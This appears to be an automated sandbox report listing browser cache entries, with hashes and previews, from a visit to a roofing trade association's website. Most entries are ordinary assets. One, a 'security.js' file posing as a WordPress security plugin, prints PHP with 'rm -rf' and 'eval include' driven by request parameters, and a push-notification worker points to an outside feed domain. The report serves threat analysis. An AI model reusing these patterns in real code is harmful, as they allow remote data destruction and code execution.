SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fabout-arma&trace_id=2011146d1e004824a4030e58ff03a094&cts=2024-04-23T14%3A54%3A50.248Z&hit_id=5fe0c1db-9e40-4b4b-9cb9-9b4e54c704ff&ea=pageperf&ht=perf&eid=traffic.tcc.instrumentation.navigation.timing&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=537077689&z=1379244353&tce=1713884084757&tcs=1713884084512&tdc=1713884090219&tdclee=1713884088243&tdcles=1713884088162&tdi=1713884088161&tdl=1713884085995&tdle=1713884084512&tdls=1713884084512&tfs=1713884084423&tns=1713884084419&trqs=1713884084758&tre=1713884086439&trps=1713884085986&tles=1713884090219&tlee=0&nt=navigate&LCP=2351&nav_type=hard
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 147, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4573
Entropy (8bit):	7.917760771354943
Encrypted:	false
SSDEEP:	96:LfvcrfyTgjLRTBtFa3uZFcWtUhGT0B9wWNh7qASOx91A/6Lx0LC:LfufpNuuZFbQD9bRBSOZE8YC
MD5:	C87C424CD424ED8E338B4DB46FE91FC0
SHA1:	3DD7FBEA601C95D1B53B87BE27F2F17FFA12AF7E
SHA-256:	EEE08C62D8554663F13F6A9A6A283F3AEFD4B41D55AEE9480CCE8580738D11CF
SHA-512:	27FE45D21351102A33617D9D8D28CE0AAF7983ACE70073056E3E863E43A24C1F78C4BB909C20AEA54709C090AD54D5C45F2270C881E4B4B369112FF56AB44636
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-300x147.png
Preview:	.PNG........IHDR...,..........H.S...HPLTE,"!L'u\Z2..`........r.....q..N..t .......t .L............uqt .Z..L......O3.....tRNS....BG[g..............3IDATx..].............i..O.G^(....m....@..vU......~...v....l.M.{.Z<\..3..?.....=.;s.... {.gh.@.4.N.G..#E..9.B.v...x....-~O.d......P..\f.X..Vx.f.,...%..g.....0K.8..Qg..haM~Xv..??.2kw.j2........">..0g..,l.....dLH).$(.....g.,..D\|F...h.a...E.l5.&.I..f5x`xR.zH..8.bP0..X.!..2.M..~.7..i.&.3.h.I......P.4.f...,.O..y."....&2.a.a._`...D.F\|j.."..Y..C....UOZ..5.a"..A........OxC.5..u....D..lE+.p.yNo./X.'M0..!1+........o..U..(ZY..1.0.T.YM.K<.h=....`..9G..M.....1....g.O.i=....E....c%j.!..T.Y.<......`A....D....r..s..~9.f.@~..T4.&Qn....I..\|...FrW!.5..>..1._.}.,..S.q...%....P.....A.P...y..CP.. b...Y;..OF5...y.}..5;Geq;<cNkw.R9..........Y.....M....i.YB..2e>..Y.4EN...Ek9......4M..b..A..>!..M.....<.U...2..7k....33.&.e..{....$..<.^.............9X..........Y..7....u........a)\|.nf).5T..h........~...a.[P.8...U...Jfi\|...N

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	5.1425262870180015
Encrypted:	false
SSDEEP:	24:XijtIVvkOTOzVl4YVOTOzaNnqyos/RtPdjMc+cFsSSaYL4/SjTUgZ6xtRRRbgA:XiGkPz8YVPzaAyZfjFuzatRRRbgA
MD5:	60F1761E5D013B9A14802533AF2E0E0B
SHA1:	0380C31FF794A3191B1BD5EE5D7D2B084C96D876
SHA-256:	046F70759C89E8EA677E80ECE89358E8510D3AB53EC4E693C6A75573BD8C4B5E
SHA-512:	8B71C23E72C10DE316D58BB16068D70A9A0A57375967D4D41EB4994019AA74B580D34F00D211A5C1B5FF4F019B5872845D2DA02C35AA963A168470BCC0905A0F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/security.js?v=1713884054772
Preview:	/* It is WordPress security file...Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.....$search = $_GET['search'] ?? null;..echo 'Search results for '.$search;..$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');..echo 'Search results for '.$search;.. $page = $_GET['page'] ?? 'home';....require $page;.... file_get_contents('../pages/'.$page.'.php');..if (strstr($_GET['page'], '../') !== false) {.. throw new \Exception("Directory traversal attempt!");..}if (strstr($_GET['page'], 'file://') !== false) {.. throw new \Exception("Remote file inclusion attempt!");...$allowed = ['home', 'blog', 'gallery', 'catalog'];..$page = (in_array($page, $allowed)) ? $page : 'home';..echo file_get_contents('../pages/'.$page.'.php');...exec('rm -rf '.$GET['path']);..eval('include '.$_GET['path']);..app/.. config/.. parameters.yml.. src/..public/.. index.php.. style.css.. security.js.. logo.png.. $pa

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://marco.feathr.co/v1/refresh
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 534 x 61, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	9728
Entropy (8bit):	7.938919608127834
Encrypted:	false
SSDEEP:	192:jkS+LaNVlBCZMQrrZ/F68v/UAXaICEpFtwuEw2z31g:jkQlBCqQ/Z/F5v/UIaInFtjEw/
MD5:	A50663C942A521A5B5D9ACE4CBA095B4
SHA1:	849DE66952573CD8F0B63237460FCDF0710685B5
SHA-256:	4938FFD8C745846B1857E94C299847C0CAB296259C37520077058618C36B4651
SHA-512:	ECBF29F2E19DC70160A1A4B4B96FA59287B114A9F9FBA572BFCEAFBB265BA76B8061FBFCEA39AB4AA55BAFA47E59B43915CB528695222823D7A8FF642295DE11
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/media/_pda/2019/11/asphalt-tagline-updated.png
Preview:	.PNG........IHDR.......=...... .....tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmpMM:InstanceID="xmp.iid:C87B6D21062A11EAB360AFE43D1D257F" xmpMM:DocumentID="xmp.did:C87B6D22062A11EAB360AFE43D1D257F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C87B6D1F062A11EAB360AFE43D1D257F" stRef:documentID="xmp.did:C87B6D20062A11EAB360AFE43D1D257F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>s.jD.."sIDATx..]..\U.>U.......}_..!..E.#...@..E.A..qc.Q..A...1.("...H...d...........f.N....=U..n.~kU....}....^.w.s...

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65459)
Category:	downloaded
Size (bytes):	93461
Entropy (8bit):	5.2871310377653735
Encrypted:	false
SSDEEP:	1536:apHxm1ngJu2OWPzEWnZNwOI22AiSj2o+n74YO9tF9hP:apRnJgW9nD2oHF9hP
MD5:	8CB0C39D4018510E98809063AC2FF1C7
SHA1:	2A221871F7132D8618BEB8BE3B6EF27E0074214C
SHA-256:	05581965CAAE6452F0FA821A3E53BBB0BE72463465A12DF98F92707D8B546565
SHA-512:	19F226AC1F27E7D36F7229B53D13AAF6D255526251D588BD0B2E200DCCF4E6E61CB0278B9F58F6EC24251FB4CD0C135F5E224ECEDCB8CC5CDEAD81172B1B6EE0
Malicious:	false
Reputation:	low
URL:	https://js-agent.newrelic.com/nr-full-1.257.0.min.js
Preview:	/! For license information please see nr-full-1.257.0.min.js.LICENSE.txt /."use strict";(self["webpackChunk:NRBA-1.257.0.PROD"]=self["webpackChunk:NRBA-1.257.0.PROD"]\|\|[]).push([[63],{9139:(e,t,i)=>{let s;i.d(t,{m:()=>n});const r=new Promise((e=>{s=e})),n=Object.freeze({onReplayReady:s,sessionReplayInitialized:r})},2573:(e,t,i)=>{i.d(t,{o:()=>c});var s=i(4247),r=i(1117),n=i(6291),a=i(8310),o=i(7056);class c extends r.w{constructor(e,t,i){super(i),this.endpoint=e,this.opts=t\|\|{},this.started=!1,this.timeoutHandle=null,this.aborted=!1,this.harvest=new n.M(this.sharedContext),(0,a.L)(this.unload.bind(this)),this.sharedContext?.ee.on(o.wO.RESET,(()=>this.runHarvest({forceNoRetry:!0})))}unload(){this.aborted\|\|(this.opts.onUnload&&this.opts.onUnload(),this.runHarvest({unload:!0}))}startTimer(e,t){this.interval=e,this.started=!0,this.scheduleHarvest(null!=t?t:this.interval)}stopTimer(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this.aborted=e,this.started=!1,this.timeoutH

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2203
Entropy (8bit):	4.313924589577367
Encrypted:	false
SSDEEP:	24:JCxJhGIV1IFmxUwqdARVVFleiyFNUGASumCeIrT/0iulrUL5bdqLfCv4IQ9UrW1K:Y1qdARrjGFNUGdXIrQigUF0Lav3it1K
MD5:	3C9E20F5EF35B478F5D850AC71F27F66
SHA1:	DAEFA972DB404912FE972D804976EBEF53271462
SHA-256:	7BBB0CC1BC96C4A769334871352FDF11C7D2AF691C5AD77BB4813450F8D745CE
SHA-512:	30EE556603D5841C3EB979C30F02EC160DA4F18C0CDBDB14A291EB3A8946FD466846BDA09AD454A191CEB64A4E4EE9188D22765B944FB49A998946DEF7D70F3B
Malicious:	false
Reputation:	low
URL:	https://wds.wesq.me/sw.js
Preview:	/* global fetch, Promise */..self.addEventListener('push', function(e) {. var FEED_URL = 'https://feed.chimukappa.com/feed.php?v=1712224695&ep=';. var ERROR_URL = 'https://feed.chimukappa.com/e.php?m=';. var promise, data, options;.. if (e.data) {. try {. data = e.data.json();. } catch (err) {. return e.waitUntil(fetch(ERROR_URL + encodeURIComponent(err)));. }. options = {. requireInteraction: true,. vibrate: [100, 50, 100],. data: {. destination: data.destination. },. actions: [. { title: 'Details', action: 'details' },. { title: 'Dismiss', action: 'dismiss' }. ]. };.. ['body', 'icon', 'image', 'badge'].forEach(function (prop) {. if (data[prop]) {. options[prop] = data[prop];. }. });.. promise = Promise.resolve({. title: data.title,.

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2000 x 1333, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	545158
Entropy (8bit):	7.996392784229104
Encrypted:	true
SSDEEP:	12288:P6nTzPiyv1xa1L5UK+HwuNJYufwSFzgjTYG0Yoh3K:mTzHviCwvuVz0C3K
MD5:	3474E8E874EEF556A66E1974AAECFB17
SHA1:	D6C1F498DAD979D8BC385B2FFD5D80F815E5B775
SHA-256:	30FB32F3ACB25C81EBAA92829BB42A4970F211032477404813698B9132ACC462
SHA-512:	161EFD11C699D5EA040915A74F9ED3EAA0A36C6AE27599BA19DFBC0225553DE3EAC394EEEB6CABC5B60355F2D3C04A1A6520FDB55290C02A188B637E8E4489B9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......5.....6@......PLTEEJI/22 !".........IDATx.L.Q...&.....J...,'..f..FK.....0}1...$.V.w"j.,.a..d.+.#..h.ke..U..}!}yBC..Z.D)N... ...VD....J5..v.d...N....bp... .3\|!......;........y."..q.E/.).........`..^..0..<a._q....5`:?...U.-j5.>p<..;...!...6..........)...........(..[...K$.s...........[~.>.hs.h^.Q...Is....R.f......U.........,...N..I.R:wm.Xl@....B...2.>..........SR...[..p...o!...5....Q..%.x?..\hH.t.$...p.!...Tfkh..P@\..`...!yw!.%.o .1.].~.h^../.1..h...Y.$.Q.`....f..X~v......Cx.t.q.Q..n.<Z...qZq....f..f..G.......a..'..$.p..q#..f...0..b.......4Ka:..,:Db..t.....p..;..`.....I.!L@.<..K....~..sJD...c.....g.>.n..z....a2?....`.~..8..-s.....j.V{......j.X.+s.a._.....u.&.=.Gq..x....y).X6.........o\|t./.....g......ns.sU.KX.!..X.d...#.A.^KB......3.R....;...xmU[.[.2.o..G^W....<.x.$.,B...5....L$Y....A....!..R.a.K.....R.yl..w....2.&....+.)...;.ay..0......uid(T..9&C{..lJ......N ...`:...3..R.l..0.._.c..O!.Ns.J....b... r.\.z.9.H..t.s. ..}....

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	250
Entropy (8bit):	4.382977727715855
Encrypted:	false
SSDEEP:	3:5dXJRHfxKuOaxVXBDgHfx6EElHfxOAArexiWW/xyRAVHviaex9ZXzhiRHMen:5dzZvOSXg5voHZ9Aia8z9ZXzkR/
MD5:	E6090EAE28E2C431E18CFB24F664AAA7
SHA1:	F2CF4A286A263667A241C47505D3C59A64E8A6B8
SHA-256:	DF51852E78B5AD7B3295820557F2F5E5B93F3195AC98EDFC7FC89B57BAFED48F
SHA-512:	F44A8CCA15131233723667A39DD2F285788D7C7E01DCF61B609649CD32E68E6B986B6ED79B9DE509B7CA435CA6CD1521E1573A3B20AF432A9540FB16B05AD1E3
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.base.css
Preview:	@import url("ui.core.css");.@import url("ui.resizable.css");.@import url("ui.accordion.css");.@import url("ui.dialog.css");.@import url("ui.slider.css");.@import url("ui.tabs.css");.@import url("ui.datepicker.css");.@import url("ui.progressbar.css");

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.692650787496248
Encrypted:	false
SSDEEP:	3:YKXUIEhfHcfF3MKQBnsGnLpnXTkgKIEudrW0MT:YKEIEJ8FnQBnnlXTBKIg
MD5:	A3012A563B5A28B396973E367EE9D552
SHA1:	37323D8F1628C72936DDD97CB51826EFF297EF2B
SHA-256:	83335FB045BBFE6C3C0AD14300F2BEAE031D7DDC05A3C793838A22D0B2C08017
SHA-512:	F0E05ED58350314B23D646D6CD4E5F64A679944CCDCAC17F45C1E3BC29C6CEDA7D07E3E94E12E4F2B13BBBD34D4F397289B0C0D1204CF7FBBE20090BF2B3B111
Malicious:	false
Reputation:	low
Preview:	{"orgId":"arma1","name":"Asphalt Roofing Manufacturers Association","serviceId":10085,"domain":"memberclicks.net"}

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	862
Entropy (8bit):	4.949296395319945
Encrypted:	false
SSDEEP:	24:25CA5gfE+mZ5TXAk535Vh8iarv7TB+3Yn6cp1:25CQuE+mZ5TXj5JVh8iar3N6cp1
MD5:	3BEF9144EDA63B2D0F6DE1DA06D01AA4
SHA1:	57F47ED0CAA3CE49105BB4C3D030BD9653C13295
SHA-256:	AE35D636D6A7D2E0681190A8F99647091DA95A11A36F9B17B9BA3642548EF32B
SHA-512:	35C6976179691F35DE427BE974C9D3CC269D6AE021157A16EC51FD6A2604FFBCC114012721406F3F4FBFA3BF4A2C788F2030A6AFB9DFF3EA9F2226031D1D3D20
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/jquery-collapse-o-matic/css/light_style.css?ver=1.6
Preview:	.collapseomatic {...background-image: url('images/arrow-down.png');...background-repeat: no-repeat;...padding: 0 0 10px 16px;..}...collapseomatic:focus {.. outline: 0;..}...arrowright {...background-position: right top;...padding: 0 16px 10px 0;..}...noarrow {...background-image: none !important;...padding: 0 0 10px 0;..}...colomat-hover {...text-decoration: underline;..}...colomat-close {...background-image: url('images/arrow-up.png');..}...collapseomatic_excerpt, .collapseomatic_content {...margin-top: 0px;...margin-left: 16px;...padding: 0px;..}...content_collapse_wrapper {...position: absolute; left: -999em;..}...collapseall:hover, .expandall:hover, .collapseall:focus, .expandall:focus {...text-decoration: underline;..}...span_fix {...padding: 0 !important;...margin: 0 !important;..}...span_fix:before, .span_fix:after {...content: none;..}..

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 300x200, components 3
Category:	dropped
Size (bytes):	8822
Entropy (8bit):	7.939235072786664
Encrypted:	false
SSDEEP:	192:+y57dSOZ5VdcL442/7pydW7wtYAVUaYLtgmx4vZBG:+ytdSUdL42/7ph70f1YLtDoZBG
MD5:	4FDCA50471302EC449A8E58A151D8EA5
SHA1:	1ABDBC97CEF66764D2C675F07243A1B2642D2CC7
SHA-256:	2670DE2BC007FBCBDFD582B85C4A7D6D51E9415AE11E578F26E9892A85B964B7
SHA-512:	82F7BD4B13C61D4F175ACE1FB7C5B7A6BECECBAC0E50D0D462E5397EDD1C5DF4CEAEFA41C632BE79EAC2B13E39C2F4533EFB750489909AB7831C07153B1C3792
Malicious:	false
Reputation:	low
Preview:	......JFIF.................................... ..... 1.$..$.1,5+(+5,N=77=NZLHLZnbbn............................ ..... 1.$..$.1,5+(+5,N=77=NZLHLZnbbn..............,.."..........3................................................................4.~1i........~...............R...........i.....j...t.:.!.o....hY.....~.;k..P...=...x...Uc.\|....:DK..d..Pw.?..\|....v..C....sc%i.UP.`..X$..oB........(..V.X.O._.%z...rh.hUi.....p...rE"....%"...J....O3..?...n:.M.8...@1..kw.y.Ydt#eCe.Bd=~mTF.^..bH....I..I."_..W..$..7..&..:..T?3.e.t...b..-O.c..}Q.x=.d....X}!q...... ...V.=eF.......q.G...<...7$..JD)Y.b.G>}Z[...s.0..?...Pjc.N.h/..+....7a.....?F3D.',.....T(r9b<..p...^....$.%w......-.W.l....n=m..JzdD..f.......+.<.'C."....X.3Z...{rk.M.yq5..w'..B/...p[.s....l..c.....j}.a.B..}1z.........}+.f..{T;ef:D]...\|..."...S}K.....I..P..5M}...\|.V.+....n.;..l.Ih.].=.La.s....p.S.JQ...u:.;.y.0iu.D8....z.../..A.........>.....0.at........Ob...)...g.].y./+...2......g..h.?UWW]W\.-........

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2000 x 1333, 2-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	545158
Entropy (8bit):	7.996392784229104
Encrypted:	true
SSDEEP:	12288:P6nTzPiyv1xa1L5UK+HwuNJYufwSFzgjTYG0Yoh3K:mTzHviCwvuVz0C3K
MD5:	3474E8E874EEF556A66E1974AAECFB17
SHA1:	D6C1F498DAD979D8BC385B2FFD5D80F815E5B775
SHA-256:	30FB32F3ACB25C81EBAA92829BB42A4970F211032477404813698B9132ACC462
SHA-512:	161EFD11C699D5EA040915A74F9ED3EAA0A36C6AE27599BA19DFBC0225553DE3EAC394EEEB6CABC5B60355F2D3C04A1A6520FDB55290C02A188B637E8E4489B9
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/roofing.png?id=96
Preview:	.PNG........IHDR.......5.....6@......PLTEEJI/22 !".........IDATx.L.Q...&.....J...,'..f..FK.....0}1...$.V.w"j.,.a..d.+.#..h.ke..U..}!}yBC..Z.D)N... ...VD....J5..v.d...N....bp... .3\|!......;........y."..q.E/.).........`..^..0..<a._q....5`:?...U.-j5.>p<..;...!...6..........)...........(..[...K$.s...........[~.>.hs.h^.Q...Is....R.f......U.........,...N..I.R:wm.Xl@....B...2.>..........SR...[..p...o!...5....Q..%.x?..\hH.t.$...p.!...Tfkh..P@\..`...!yw!.%.o .1.].~.h^../.1..h...Y.$.Q.`....f..X~v......Cx.t.q.Q..n.<Z...qZq....f..f..G.......a..'..$.p..q#..f...0..b.......4Ka:..,:Db..t.....p..;..`.....I.!L@.<..K....~..sJD...c.....g.>.n..z....a2?....`.~..8..-s.....j.V{......j.X.+s.a._.....u.&.=.Gq..x....y).X6.........o\|t./.....g......ns.sU.KX.!..X.d...#.A.^KB......3.R....;...xmU[.[.2.o..G^W....<.x.$.,B...5....L$Y....A....!..R.a.K.....R.yl..w....2.&....+.)...;.ay..0......uid(T..9&C{..lJ......N ...`:...3..R.l..0.._.c..O!.Ns.J....b... r.\.z.9.H..t.s. ..}....

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30828)
Category:	downloaded
Size (bytes):	30991
Entropy (8bit):	4.745412859752144
Encrypted:	false
SSDEEP:	384:w8u5yWeTUKW+KlkJ5de2UYDyVfwYUas2l8yQ/8dwmaU8G:wnlr+Klk3Yi+fwYUf2l8yQ/e9vf
MD5:	04A46F8E9908B931CD210CD52873538F
SHA1:	3305ADF9270831B1EDD362D792D8B8EA583FB5A7
SHA-256:	61AA59CDA4E8DD02CB7D264CF5CDC6905868A951E9FF3D620BEB70E99D41B2CC
SHA-512:	4041726F9756E89BE0FE16124CEEABF6D2D20D52F8E47F8E4D741D7EA82E078C8AB39CD484E386110457E57304D0B0D23B702EA59067C87FCDBA1B86DFEADB56
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/shared/font-awesome/css/font-awesome.min.css?ver=3.3.8
Preview:	/!. Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 1000, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	21622
Entropy (8bit):	7.85357999866594
Encrypted:	false
SSDEEP:	384:2w1ZIm7iOk64fjy5VCG5K+kvaLUUOlqYcbP/sraAGjsP65+:2wXIPrrQkK4v0YA3sraUPQ+
MD5:	691E578D5E3F0F4DC8532D6C4B20D265
SHA1:	C2CBE1E667141E1EA5F90F156082193CC72629EF
SHA-256:	1C27D145238C94D6085C8C54269724C2840F42372AECAD77C86D8F89327679FC
SHA-512:	D40ED6B5DA85631190C4B0C82B163F5E2F98B246A52A63105C76159517D0902289D4706B3701BBD6BBA33AF3F00D9A2FBF782BDC6A04D54AE64E317865EDEC07
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ...........j....QPLTE.............................xww~qpqkkffeUUUWKSNMMNLKQHGTEDDCCI=<?42865""".......f7...S.IDATx......F..8..M......~f..J <..^..I...4..4....r..\|..\|..#Z......................................................................................... .. .. .. .. .. .. .. .. .. .. .. .. .. ....@..@..@..@..@..@..@..@..@..@..@..@..@..@...........................jt\|.#.........I.... q.\.<..@.,..&5...M.@.$..K.U.....r{<..=..p...L..a....lT..e@.&.u...........Z@.FU...W..`.......h.....q{.......r{b3..+"Hz....#.."H..z:.d>ld.......N/. 5.....J..... ..d6p...K.1..."......B.Z@j82/nd.&.2.6..4....g.zB....l(<....".O.v9\|,....\..C......zR.....lc].W...l..X.2#6..H.......y...jT..U..'.Q....,......76.....!w..O.....'....3..w.p.. 3a....S.7./...........GM.t@..(.........B..1......i......Lz.8.)9..I....l.Y.........L...q+?......r.......s.gro<.GGH4 n..\|...n./#.I-]...t...x<...M...a.r........a....o.W..w.........5......[..9H.......'6...q.'.b-...H.G0.n..x...!..c...

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, comment: "Compressed by jpeg-recompress", baseline, precision 8, 400x400, components 3
Category:	dropped
Size (bytes):	25789
Entropy (8bit):	7.971049194056857
Encrypted:	false
SSDEEP:	384:0tEmDH9Jg2eTRb2ajEyPFpe1BBgdtNrQ5vet8sQICSk+ogdfPruWqne8:MFDH9JGTN/j1/UoNrc2vlhXmnz
MD5:	EFD88C4C394DB8A9A4C4312E71C86F08
SHA1:	62374D45FBB4F2AE95EBDCC9B7155D791A9C84F2
SHA-256:	44C5571645A01D5AAA9B02016F18AA9D959483B0DF61C3A86C0FD8AD5D620669
SHA-512:	E8B982C437C6E1A9ABE7DFDBADC9AA5A9A0D992925FA18C3219530916703F105CEDBBC03F0A82C8E8C7D433C9403664AD84718EE03B5FC8E4460455219B499E6
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H......Compressed by jpeg-recompress...C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...........".........................................D.........................!.1.AQa."q..2.#BR.....r.3b....$C.%Ss.D..................................-........................!1.AQ.."2aq.#...BR.............?.......S......<GmpL........6.8..[e.CJ.Gf<...J[mv....(.M+...Q`'.Q....c.......Q.Z3.Q.&.8...n..>..`..T6R......T..G.,c....T.....6.S.S.......[p.!...u.....c..P..4..E...zNH.ri...6.'i..=..U..)_.1...Q..y.H0>..m.c.%A.h....'.q..+.4..%.$NhTS.....f...I`..(..h..?.i\.QQ.9".F.O....L.h..h.s.T.v1...r.1E=...PQ.6....0N3FU....UZY..@..3P....jq.@P....P.H.......].!@..P...uu..v.@.]F.C.@...x....h.-...}.`..h4...\....t....Q.s]..........b..)...9..Q.Q@.DQJ(.0_JQK.Z*..g...(.Gzn...z.....8.=.8.Ju...5-...jS..N@..M.M'R[..#[9..;1....,..Z.R\|....v...V.^.<..f............. .......c."X..h

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 4000x3000, components 3
Category:	downloaded
Size (bytes):	885375
Entropy (8bit):	7.971322133182681
Encrypted:	false
SSDEEP:	24576:xN9TQitQBlyazbPv1GwlhM/nLWL7QjutIpO:fazbPvjhMfut9
MD5:	1F095D19D22AE24F6BC4AC88115820FE
SHA1:	B39C9C3D2E709ABE97690D94F70631B7FB974BCA
